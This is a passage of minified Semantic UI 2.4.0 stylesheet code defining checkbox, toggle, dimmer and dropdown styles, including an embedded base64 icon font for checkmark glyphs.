input:focus:checked~label:after{background-color:rgba(0,0,0,.95)}.ui.slider.checkbox{min-height:1.25rem}.ui.slider.checkbox input{width:3.5rem;height:1.25rem}.ui.slider.checkbox .box,.ui.slider.checkbox label{padding-left:4.5rem;line-height:1rem;color:rgba(0,0,0,.4)}.ui.slider.checkbox .box:before,.ui.slider.checkbox label:before{display:block;position:absolute;content:'';border:none!important;left:0;z-index:1;top:.4rem;background-color:rgba(0,0,0,.05);width:3.5rem;height:.21428571rem;-webkit-transform:none;transform:none;border-radius:500rem;-webkit-transition:background .3s ease;transition:background .3s ease}.ui.slider.checkbox .box:after,.ui.slider.checkbox label:after{background:#fff -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(0,0,0,.05)));background:#fff -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#fff linear-gradient(transparent,rgba(0,0,0,.05));position:absolute;content:''!important;opacity:1;z-index:2;border:none;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;width:1.5rem;height:1.5rem;top:-.25rem;left:0;-webkit-transform:none;transform:none;border-radius:500rem;-webkit-transition:left .3s ease;transition:left .3s ease}.ui.slider.checkbox input:focus~.box:before,.ui.slider.checkbox input:focus~label:before{background-color:rgba(0,0,0,.15);border:none}.ui.slider.checkbox .box:hover,.ui.slider.checkbox label:hover{color:rgba(0,0,0,.8)}.ui.slider.checkbox .box:hover::before,.ui.slider.checkbox label:hover::before{background:rgba(0,0,0,.15)}.ui.slider.checkbox input:checked~.box,.ui.slider.checkbox input:checked~label{color:rgba(0,0,0,.95)!important}.ui.slider.checkbox input:checked~.box:before,.ui.slider.checkbox input:checked~label:before{background-color:#545454!important}.ui.slider.checkbox input:checked~.box:after,.ui.slider.checkbox input:checked~label:after{left:2rem}.ui.slider.checkbox input:focus:checked~.box,.ui.slider.checkbox input:focus:checked~label{color:rgba(0,0,0,.95)!important}.ui.slider.checkbox input:focus:checked~.box:before,.ui.slider.checkbox input:focus:checked~label:before{background-color:#000!important}.ui.toggle.checkbox{min-height:1.5rem}.ui.toggle.checkbox input{width:3.5rem;height:1.5rem}.ui.toggle.checkbox .box,.ui.toggle.checkbox label{min-height:1.5rem;padding-left:4.5rem;color:rgba(0,0,0,.87)}.ui.toggle.checkbox label{padding-top:.15em}.ui.toggle.checkbox .box:before,.ui.toggle.checkbox label:before{display:block;position:absolute;content:'';z-index:1;-webkit-transform:none;transform:none;border:none;top:0;background:rgba(0,0,0,.05);-webkit-box-shadow:none;box-shadow:none;width:3.5rem;height:1.5rem;border-radius:500rem}.ui.toggle.checkbox .box:after,.ui.toggle.checkbox label:after{background:#fff -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(0,0,0,.05)));background:#fff -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#fff linear-gradient(transparent,rgba(0,0,0,.05));position:absolute;content:''!important;opacity:1;z-index:2;border:none;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;width:1.5rem;height:1.5rem;top:0;left:0;border-radius:500rem;-webkit-transition:background .3s ease,left .3s ease;transition:background .3s ease,left .3s ease}.ui.toggle.checkbox input~.box:after,.ui.toggle.checkbox input~label:after{left:-.05rem;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset}.ui.toggle.checkbox input:focus~.box:before,.ui.toggle.checkbox input:focus~label:before{background-color:rgba(0,0,0,.15);border:none}.ui.toggle.checkbox .box:hover::before,.ui.toggle.checkbox label:hover::before{background-color:rgba(0,0,0,.15);border:none}.ui.toggle.checkbox input:checked~.box,.ui.toggle.checkbox input:checked~label{color:rgba(0,0,0,.95)!important}.ui.toggle.checkbox input:checked~.box:before,.ui.toggle.checkbox input:checked~label:before{background-color:#2185d0!important}.ui.toggle.checkbox input:checked~.box:after,.ui.toggle.checkbox input:checked~label:after{left:2.15rem;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset}.ui.toggle.checkbox input:focus:checked~.box,.ui.toggle.checkbox input:focus:checked~label{color:rgba(0,0,0,.95)!important}.ui.toggle.checkbox input:focus:checked~.box:before,.ui.toggle.checkbox input:focus:checked~label:before{background-color:#0d71bb!important}.ui.fitted.checkbox .box,.ui.fitted.checkbox label{padding-left:0!important}.ui.fitted.toggle.checkbox{width:3.5rem}.ui.fitted.slider.checkbox{width:3.5rem}@font-face{font-family:Checkbox;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMg8SBD8AAAC8AAAAYGNtYXAYVtCJAAABHAAAAFRnYXNwAAAAEAAAAXAAAAAIZ2x5Zn4huwUAAAF4AAABYGhlYWQGPe1ZAAAC2AAAADZoaGVhB30DyAAAAxAAAAAkaG10eBBKAEUAAAM0AAAAHGxvY2EAmgESAAADUAAAABBtYXhwAAkALwAAA2AAAAAgbmFtZSC8IugAAAOAAAABknBvc3QAAwAAAAAFFAAAACAAAwMTAZAABQAAApkCzAAAAI8CmQLMAAAB6wAzAQkAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADoAgPA/8AAQAPAAEAAAAABAAAAAAAAAAAAAAAgAAAAAAADAAAAAwAAABwAAQADAAAAHAADAAEAAAAcAAQAOAAAAAoACAACAAIAAQAg6AL//f//AAAAAAAg6AD//f//AAH/4xgEAAMAAQAAAAAAAAAAAAAAAQAB//8ADwABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAAAAAAAAAAIAADc5AQAAAAABAEUAUQO7AvgAGgAAARQHAQYjIicBJjU0PwE2MzIfAQE2MzIfARYVA7sQ/hQQFhcQ/uMQEE4QFxcQqAF2EBcXEE4QAnMWEP4UEBABHRAXFhBOEBCoAXcQEE4QFwAAAAABAAABbgMlAkkAFAAAARUUBwYjISInJj0BNDc2MyEyFxYVAyUQEBf9SRcQEBAQFwK3FxAQAhJtFxAQEBAXbRcQEBAQFwAAAAABAAAASQMlA24ALAAAARUUBwYrARUUBwYrASInJj0BIyInJj0BNDc2OwE1NDc2OwEyFxYdATMyFxYVAyUQEBfuEBAXbhYQEO4XEBAQEBfuEBAWbhcQEO4XEBACEm0XEBDuFxAQEBAX7hAQF20XEBDuFxAQEBAX7hAQFwAAAQAAAAIAAHRSzT9fDzz1AAsEAAAAAADRsdR3AAAAANGx1HcAAAAAA7sDbgAAAAgAAgAAAAAAAAABAAADwP/AAAAEAAAAAAADuwABAAAAAAAAAAAAAAAAAAAABwQAAAAAAAAAAAAAAAIAAAAEAABFAyUAAAMlAAAAAAAAAAoAFAAeAE4AcgCwAAEAAAAHAC0AAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAIAAAAAQAAAAAAAgAHAGkAAQAAAAAAAwAIADkAAQAAAAAABAAIAH4AAQAAAAAABQALABgAAQAAAAAABgAIAFEAAQAAAAAACgAaAJYAAwABBAkAAQAQAAgAAwABBAkAAgAOAHAAAwABBAkAAwAQAEEAAwABBAkABAAQAIYAAwABBAkABQAWACMAAwABBAkABgAQAFkAAwABBAkACgA0ALBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhWZXJzaW9uIDIuMABWAGUAcgBzAGkAbwBuACAAMgAuADBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhDaGVja2JveABDAGgAZQBjAGsAYgBvAHhSZWd1bGFyAFIAZQBnAHUAbABhAHJDaGVja2JveABDAGgAZQBjAGsAYgBvAHhGb250IGdlbmVyYXRlZCBieSBJY29Nb29uLgBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('truetype')}.ui.checkbox .box:after,.ui.checkbox label:after{font-family:Checkbox}.ui.checkbox input:checked~.box:after,.ui.checkbox input:checked~label:after{content:'\e800'}.ui.checkbox input:indeterminate~.box:after,.ui.checkbox input:indeterminate~label:after{font-size:12px;content:'\e801'}/*! + * # Semantic UI 2.4.0 - Dimmer + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.dimmable:not(body){position:relative}.ui.dimmer{display:none;position:absolute;top:0!important;left:0!important;width:100%;height:100%;text-align:center;vertical-align:middle;padding:1em;background-color:rgba(0,0,0,.85);opacity:0;line-height:1;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-transition:background-color .5s linear;transition:background-color .5s linear;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;will-change:opacity;z-index:1000}.ui.dimmer>.content{-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;color:#fff}.ui.segment>.ui.dimmer{border-radius:inherit!important}.ui.dimmer:not(.inverted)::-webkit-scrollbar-track{background:rgba(255,255,255,.1)}.ui.dimmer:not(.inverted)::-webkit-scrollbar-thumb{background:rgba(255,255,255,.25)}.ui.dimmer:not(.inverted)::-webkit-scrollbar-thumb:window-inactive{background:rgba(255,255,255,.15)}.ui.dimmer:not(.inverted)::-webkit-scrollbar-thumb:hover{background:rgba(255,255,255,.35)}.animating.dimmable:not(body),.dimmed.dimmable:not(body){overflow:hidden}.dimmed.dimmable>.ui.animating.dimmer,.dimmed.dimmable>.ui.visible.dimmer,.ui.active.dimmer{display:-webkit-box;display:-ms-flexbox;display:flex;opacity:1}.ui.disabled.dimmer{width:0!important;height:0!important}.dimmed.dimmable>.ui.animating.legacy.dimmer,.dimmed.dimmable>.ui.visible.legacy.dimmer,.ui.active.legacy.dimmer{display:block}.ui[class*="top aligned"].dimmer{-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.ui[class*="bottom aligned"].dimmer{-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end}.ui.page.dimmer{position:fixed;-webkit-transform-style:'';transform-style:'';-webkit-perspective:2000px;perspective:2000px;-webkit-transform-origin:center center;transform-origin:center center}body.animating.in.dimmable,body.dimmed.dimmable{overflow:hidden}body.dimmable>.dimmer{position:fixed}.blurring.dimmable>:not(.dimmer){-webkit-filter:blur(0) grayscale(0);filter:blur(0) grayscale(0);-webkit-transition:.8s -webkit-filter ease;transition:.8s -webkit-filter ease;transition:.8s filter ease;transition:.8s filter ease,.8s -webkit-filter ease}.blurring.dimmed.dimmable>:not(.dimmer){-webkit-filter:blur(5px) grayscale(.7);filter:blur(5px) grayscale(.7)}.blurring.dimmable>.dimmer{background-color:rgba(0,0,0,.6)}.blurring.dimmable>.inverted.dimmer{background-color:rgba(255,255,255,.6)}.ui.dimmer>.top.aligned.content>*{vertical-align:top}.ui.dimmer>.bottom.aligned.content>*{vertical-align:bottom}.ui.inverted.dimmer{background-color:rgba(255,255,255,.85)}.ui.inverted.dimmer>.content>*{color:#fff}.ui.simple.dimmer{display:block;overflow:hidden;opacity:1;width:0%;height:0%;z-index:-100;background-color:rgba(0,0,0,0)}.dimmed.dimmable>.ui.simple.dimmer{overflow:visible;opacity:1;width:100%;height:100%;background-color:rgba(0,0,0,.85);z-index:1}.ui.simple.inverted.dimmer{background-color:rgba(255,255,255,0)}.dimmed.dimmable>.ui.simple.inverted.dimmer{background-color:rgba(255,255,255,.85)}/*! + * # Semantic UI 2.4.0 - Dropdown + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.dropdown{cursor:pointer;position:relative;display:inline-block;outline:0;text-align:left;-webkit-transition:width .1s ease,-webkit-box-shadow .1s ease;transition:width .1s ease,-webkit-box-shadow .1s ease;transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease,-webkit-box-shadow .1s ease;-webkit-tap-highlight-color:transparent}.ui.dropdown .menu{cursor:auto;position:absolute;display:none;outline:0;top:100%;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;margin:0;padding:0 0;background:#fff;font-size:1em;text-shadow:none;text-align:left;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15);border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;z-index:11;will-change:transform,opacity}.ui.dropdown .menu>*{white-space:nowrap}.ui.dropdown>input:not(.search):first-child,.ui.dropdown>select{display:none!important}.ui.dropdown>.dropdown.icon{position:relative;width:auto;font-size:.85714286em;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon{width:auto;float:right;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon+.text{margin-right:1em}.ui.dropdown>.text{display:inline-block;-webkit-transition:none;transition:none}.ui.dropdown .menu>.item{position:relative;cursor:pointer;display:block;border:none;height:auto;text-align:left;border-top:none;line-height:1em;color:rgba(0,0,0,.87);padding:.78571429rem 1.14285714rem!important;font-size:1rem;text-transform:none;font-weight:400;-webkit-box-shadow:none;box-shadow:none;-webkit-touch-callout:none}.ui.dropdown .menu>.item:first-child{border-top-width:0}.ui.dropdown .menu .item>[class*="right floated"],.ui.dropdown>.text>[class*="right floated"]{float:right!important;margin-right:0!important;margin-left:1em!important}.ui.dropdown .menu .item>[class*="left floated"],.ui.dropdown>.text>[class*="left floated"]{float:left!important;margin-left:0!important;margin-right:1em!important}.ui.dropdown .menu .item>.flag.floated,.ui.dropdown .menu .item>.icon.floated,.ui.dropdown .menu .item>.image.floated,.ui.dropdown .menu .item>img.floated{margin-top:0}.ui.dropdown .menu>.header{margin:1rem 0 .75rem;padding:0 1.14285714rem;color:rgba(0,0,0,.85);font-size:.78571429em;font-weight:700;text-transform:uppercase}.ui.dropdown .menu>.divider{border-top:1px solid rgba(34,36,38,.1);height:0;margin:.5em 0}.ui.dropdown.dropdown .menu>.input{width:auto;display:-webkit-box;display:-ms-flexbox;display:flex;margin:1.14285714rem .78571429rem;min-width:10rem}.ui.dropdown .menu>.header+.input{margin-top:0}.ui.dropdown .menu>.input:not(.transparent) input{padding:.5em 1em}.ui.dropdown .menu>.input:not(.transparent) .button,.ui.dropdown .menu>.input:not(.transparent) .icon,.ui.dropdown .menu>.input:not(.transparent) .label{padding-top:.5em;padding-bottom:.5em}.ui.dropdown .menu>.item>.description,.ui.dropdown>.text>.description{float:right;margin:0 0 0 1em;color:rgba(0,0,0,.4)}.ui.dropdown .menu>.message{padding:.78571429rem 1.14285714rem;font-weight:400}.ui.dropdown .menu>.message:not(.ui){color:rgba(0,0,0,.4)}.ui.dropdown .menu .menu{top:0!important;left:100%;right:auto;margin:0 0 0 -.5em!important;border-radius:.28571429rem!important;z-index:21!important}.ui.dropdown .menu .menu:after{display:none}.ui.dropdown>.text>.flag,.ui.dropdown>.text>.icon,.ui.dropdown>.text>.image,.ui.dropdown>.text>.label,.ui.dropdown>.text>img{margin-top:0}.ui.dropdown .menu>.item>.flag,.ui.dropdown .menu>.item>.icon,.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>.label,.ui.dropdown .menu>.item>img{margin-top:0}.ui.dropdown .menu>.item>.flag,.ui.dropdown .menu>.item>.icon,.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>.label,.ui.dropdown .menu>.item>img,.ui.dropdown>.text>.flag,.ui.dropdown>.text>.icon,.ui.dropdown>.text>.image,.ui.dropdown>.text>.label,.ui.dropdown>.text>img{margin-left:0;float:none;margin-right:.78571429rem}.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>img,.ui.dropdown>.text>.image,.ui.dropdown>.text>img{display:inline-block;vertical-align:top;width:auto;margin-top:-.5em;margin-bottom:-.5em;max-height:2em}.ui.dropdown .ui.menu>.item:before,.ui.menu .ui.dropdown .menu>.item:before{display:none}.ui.menu .ui.dropdown .menu .active.item{border-left:none}.ui.buttons>.ui.dropdown:last-child .menu,.ui.menu .right.dropdown.item .menu,.ui.menu .right.menu .dropdown:last-child .menu{left:auto;right:0}.ui.label.dropdown .menu{min-width:100%}.ui.dropdown.icon.button>.dropdown.icon{margin:0}.ui.button.dropdown .menu{min-width:100%}.ui.selection.dropdown{cursor:pointer;word-wrap:break-word;line-height:1em;white-space:normal;outline:0;-webkit-transform:rotateZ(0);transform:rotateZ(0);min-width:14em;min-height:2.71428571em;background:#fff;display:inline-block;padding:.78571429em 2.1em .78571429em 1em;color:rgba(0,0,0,.87);-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:width .1s ease,-webkit-box-shadow .1s ease;transition:width .1s ease,-webkit-box-shadow .1s ease;transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease,-webkit-box-shadow .1s ease}.ui.selection.dropdown.active,.ui.selection.dropdown.visible{z-index:10}select.ui.dropdown{height:38px;padding:.5em;border:1px solid rgba(34,36,38,.15);visibility:visible}.ui.selection.dropdown>.delete.icon,.ui.selection.dropdown>.dropdown.icon,.ui.selection.dropdown>.search.icon{cursor:pointer;position:absolute;width:auto;height:auto;line-height:1.21428571em;top:.78571429em;right:1em;z-index:3;margin:-.78571429em;padding:.91666667em;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.compact.selection.dropdown{min-width:0}.ui.selection.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;border-top-width:0!important;width:auto;outline:0;margin:0 -1px;min-width:calc(100% + 2px);width:calc(100% + 2px);border-radius:0 0 .28571429rem .28571429rem;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.selection.dropdown .menu:after,.ui.selection.dropdown .menu:before{display:none}.ui.selection.dropdown .menu>.message{padding:.78571429rem 1.14285714rem}@media only screen and (max-width:767px){.ui.selection.dropdown .menu{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.selection.dropdown .menu{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.selection.dropdown .menu{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.selection.dropdown .menu{max-height:21.37142857rem}}.ui.selection.dropdown .menu>.item{border-top:1px solid #fafafa;padding:.78571429rem 1.14285714rem!important;white-space:normal;word-wrap:normal}.ui.selection.dropdown .menu>.hidden.addition.item{display:none}.ui.selection.dropdown:hover{border-color:rgba(34,36,38,.35);-webkit-box-shadow:none;box-shadow:none}.ui.selection.active.dropdown{border-color:#96c8da;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.active.dropdown .menu{border-color:#96c8da;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.dropdown:focus{border-color:#96c8da;-webkit-box-shadow:none;box-shadow:none}.ui.selection.dropdown:focus .menu{border-color:#96c8da;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.visible.dropdown>.text:not(.default){font-weight:400;color:rgba(0,0,0,.8)}.ui.selection.active.dropdown:hover{border-color:#96c8da;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.active.dropdown:hover .menu{border-color:#96c8da;-webkit-box-shadow:0 2px 3px 0 rgba(34,36,38,.15);box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.active.selection.dropdown>.dropdown.icon,.ui.visible.selection.dropdown>.dropdown.icon{opacity:'';z-index:3}.ui.active.selection.dropdown{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.active.empty.selection.dropdown{border-radius:.28571429rem!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.active.empty.selection.dropdown .menu{border:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.search.dropdown{min-width:''}.ui.search.dropdown>input.search{background:none transparent!important;border:none!important;-webkit-box-shadow:none!important;box-shadow:none!important;cursor:text;top:0;left:1px;width:100%;outline:0;-webkit-tap-highlight-color:rgba(255,255,255,0);padding:inherit}.ui.search.dropdown>input.search{position:absolute;z-index:2}.ui.search.dropdown>.text{cursor:text;position:relative;left:1px;z-index:3}.ui.search.selection.dropdown>input.search{line-height:1.21428571em;padding:.67857143em 2.1em .67857143em 1em}.ui.search.selection.dropdown>span.sizer{line-height:1.21428571em;padding:.67857143em 2.1em .67857143em 1em;display:none;white-space:pre}.ui.search.dropdown.active>input.search,.ui.search.dropdown.visible>input.search{cursor:auto}.ui.search.dropdown.active>.text,.ui.search.dropdown.visible>.text{pointer-events:none}.ui.active.search.dropdown input.search:focus+.text .flag,.ui.active.search.dropdown input.search:focus+.text .icon{opacity:.45}.ui.active.search.dropdown input.search:focus+.text{color:rgba(115,115,115,.87)!important}.ui.search.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch}@media only screen and (max-width:767px){.ui.search.dropdown .menu{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.search.dropdown .menu{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.search.dropdown .menu{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.search.dropdown .menu{max-height:21.37142857rem}}.ui.multiple.dropdown{padding:.22619048em 2.1em .22619048em .35714286em}.ui.multiple.dropdown .menu{cursor:auto}.ui.multiple.search.dropdown,.ui.multiple.search.dropdown>input.search{cursor:text}.ui.multiple.dropdown>.label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;vertical-align:top;white-space:normal;font-size:1em;padding:.35714286em .78571429em;margin:.14285714rem .28571429rem .14285714rem 0;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset}.ui.multiple.dropdown .dropdown.icon{margin:'';padding:''}.ui.multiple.dropdown>.text{position:static;padding:0;max-width:100%;margin:.45238095em 0 .45238095em .64285714em;line-height:1.21428571em}.ui.multiple.dropdown>.label~input.search{margin-left:.14285714em!important}.ui.multiple.dropdown>.label~.text{display:none}.ui.multiple.search.dropdown>.text{display:inline-block;position:absolute;top:0;left:0;padding:inherit;margin:.45238095em 0 .45238095em .64285714em;line-height:1.21428571em}.ui.multiple.search.dropdown>.label~.text{display:none}.ui.multiple.search.dropdown>input.search{position:static;padding:0;max-width:100%;margin:.45238095em 0 .45238095em .64285714em;width:2.2em;line-height:1.21428571em}.ui.inline.dropdown{cursor:pointer;display:inline-block;color:inherit}.ui.inline.dropdown .dropdown.icon{margin:0 .21428571em 0 .21428571em;vertical-align:baseline}.ui.inline.dropdown>.text{font-weight:700}.ui.inline.dropdown .menu{cursor:auto;margin-top:.21428571em;border-radius:.28571429rem}.ui.dropdown .menu .active.item{background:0 0;font-weight:700;color:rgba(0,0,0,.95);-webkit-box-shadow:none;box-shadow:none;z-index:12}.ui.dropdown .menu>.item:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);z-index:13}.ui.loading.dropdown>i.icon{height:1em!important}.ui.loading.selection.dropdown>i.icon{padding:1.5em 1.28571429em!important}.ui.loading.dropdown>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.dropdown>i.icon:after{position:absolute;content:'';top:50%;left:50%;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:dropdown-spin .6s linear;animation:dropdown-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em}.ui.loading.dropdown.button>i.icon:after,.ui.loading.dropdown.button>i.icon:before{display:none}@-webkit-keyframes dropdown-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes dropdown-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.default.dropdown:not(.button)>.text,.ui.dropdown:not(.button)>.default.text{color:rgba(191,191,191,.87)}.ui.default.dropdown:not(.button)>input:focus~.text,.ui.dropdown:not(.button)>input:focus~.default.text{color:rgba(115,115,115,.87)}.ui.loading.dropdown>.text{-webkit-transition:none;transition:none}.ui.dropdown .loading.menu{display:block;visibility:hidden;z-index:-1}.ui.dropdown>.loading.menu{left:0!important;right:auto!important}.ui.dropdown>.menu .loading.menu{left:100%!important;right:auto!important}.ui.dropdown .menu .selected.item,.ui.dropdown.selected{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.dropdown>.filtered.text{visibility:hidden}.ui.dropdown .filtered.item{display:none!important}.ui.dropdown.error,.ui.dropdown.error>.default.text,.ui.dropdown.error>.text{color:#9f3a38}.ui.selection.dropdown.error{background:#fff6f6;border-color:#e0b4b4}.ui.selection.dropdown.error:hover{border-color:#e0b4b4}.ui.dropdown.error>.menu,.ui.dropdown.error>.menu .menu{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item{color:#9f3a38}.ui.multiple.selection.error.dropdown>.label{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item:hover{background-color:#fff2f2}.ui.dropdown.error>.menu .active.item{background-color:#fdcfcf}.ui.dropdown>.clear.dropdown.icon{opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.dropdown>.clear.dropdown.icon:hover{opacity:1}.ui.disabled.dropdown,.ui.dropdown .menu>.disabled.item{cursor:default;pointer-events:none;opacity:.45}.ui.dropdown .menu{left:0}.ui.dropdown .menu .right.menu,.ui.dropdown .right.menu>.menu{left:100%!important;right:auto!important;border-radius:.28571429rem!important}.ui.dropdown>.left.menu{left:auto!important;right:0!important}.ui.dropdown .menu .left.menu,.ui.dropdown>.left.menu .menu{left:auto;right:100%;margin:0 -.5em 0 0!important;border-radius:.28571429rem!important}.ui.dropdown .item .left.dropdown.icon,.ui.dropdown .left.menu .item .dropdown.icon{width:auto;float:left;margin:0}.ui.dropdown .item .left.dropdown.icon,.ui.dropdown .left.menu .item .dropdown.icon{width:auto;float:left;margin:0}.ui.dropdown .item .left.dropdown.icon+.text,.ui.dropdown .left.menu .item .dropdown.icon+.text{margin-left:1em;margin-right:0}.ui.upward.dropdown>.menu{top:auto;bottom:100%;-webkit-box-shadow:0 0 3px 0 rgba(0,0,0,.08);box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:.28571429rem .28571429rem 0 0}.ui.dropdown .upward.menu{top:auto!important;bottom:0!important}.ui.simple.upward.active.dropdown,.ui.simple.upward.dropdown:hover{border-radius:.28571429rem .28571429rem 0 0!important}.ui.upward.dropdown.button:not(.pointing):not(.floating).active{border-radius:.28571429rem .28571429rem 0 0}.ui.upward.selection.dropdown .menu{border-top-width:1px!important;border-bottom-width:0!important;-webkit-box-shadow:0 -2px 3px 0 rgba(0,0,0,.08);box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.upward.selection.dropdown:hover{-webkit-box-shadow:0 0 2px 0 rgba(0,0,0,.05);box-shadow:0 0 2px 0 rgba(0,0,0,.05)}.ui.active.upward.selection.dropdown{border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.selection.dropdown.visible{-webkit-box-shadow:0 0 3px 0 rgba(0,0,0,.08);box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.active.selection.dropdown:hover{-webkit-box-shadow:0 0 3px 0 rgba(0,0,0,.05);box-shadow:0 0 3px 0 rgba(0,0,0,.05)}.ui.upward.active.selection.dropdown:hover .menu{-webkit-box-shadow:0 -2px 3px 0 rgba(0,0,0,.08);box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{overflow-x:hidden;overflow-y:auto}.ui.scrolling.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;min-width:100%!important;width:auto!important}.ui.dropdown .scrolling.menu{position:static;overflow-y:auto;border:none;-webkit-box-shadow:none!important;box-shadow:none!important;border-radius:0!important;margin:0!important;min-width:100%!important;width:auto!important;border-top:1px solid rgba(34,36,38,.15)}.ui.dropdown .scrolling.menu>.item.item.item,.ui.scrolling.dropdown .menu .item.item.item{border-top:none}.ui.dropdown .scrolling.menu .item:first-child,.ui.scrolling.dropdown .menu .item:first-child{border-top:none}.ui.dropdown>.animating.menu 